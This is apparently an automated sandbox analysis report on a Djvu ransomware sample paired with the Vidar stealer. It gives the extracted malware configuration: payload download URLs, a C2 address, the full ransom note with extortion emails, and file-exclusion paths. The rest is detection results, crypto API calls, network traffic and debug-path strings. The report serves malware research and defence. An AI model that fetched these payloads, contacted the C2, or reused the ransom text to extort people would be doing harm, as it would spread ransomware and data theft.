Source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E
Source: 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: n8XBpFdVFU.exe

ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: n8XBpFdVFU.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: n8XBpFdVFU.exe, 00000004.00000003.2071558643.000000000318C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_1cf73b74-0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 1.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 4.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 6.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 11.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 16.2.n8XBpFdVFU.exe.400000.0.unpack

Source: n8XBpFdVFU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49753 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n8XBpFdVFU.exe, 00000004.00000003.2107229483.0000000009AA7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100679503.0000000009AAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\* source: n8XBpFdVFU.exe, 00000004.00000003.2059445223.0000000009ABF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009ACA000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060381837.0000000009AE5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009ABF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060102431.0000000009AD2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060253396.0000000009ADE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\*8 source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\AC source: n8XBpFdVFU.exe, 00000004.00000003.2071378873.0000000009A91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003322000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120925394.000000000331B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\] source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2129691380.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142264228.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143858841.000000000335B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1716442270.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1713232631.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1715261612.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\K source: n8XBpFdVFU.exe, 00000004.00000003.2116663063.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2114769171.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbrDX_CONTENT_TASKBARHEADLINES.jsontxt source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\Ap source: n8XBpFdVFU.exe, 00000004.00000003.1801703655.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035279729.0000000003162000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\on D7MI@az source: n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003322000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120925394.000000000331B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2035641510.000000000315A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*\| source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\m source: n8XBpFdVFU.exe, 00000004.00000003.2107229483.0000000009AA7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100679503.0000000009AAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\'"}MaN source: n8XBpFdVFU.exe, 00000004.00000003.2121667319.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120515722.0000000003362000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\5 source: n8XBpFdVFU.exe, 00000004.00000003.2108558652.0000000003323000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\q source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\,-tV) source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100449175.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\r source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\a\\ source: n8XBpFdVFU.exe, 00000004.00000003.2142420963.0000000009B5B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142553306.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141852209.0000000009B54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Interz source: n8XBpFdVFU.exe, 00000004.00000003.1801703655.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035279729.0000000003162000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$ source: n8XBpFdVFU.exe, 00000004.00000003.2113856909.000000000343C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\ source: n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071336604.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAppCache133408903214673664.txt010 source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2110021530.0000000009B50000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108149637.0000000009B42000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\*s source: n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003312000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
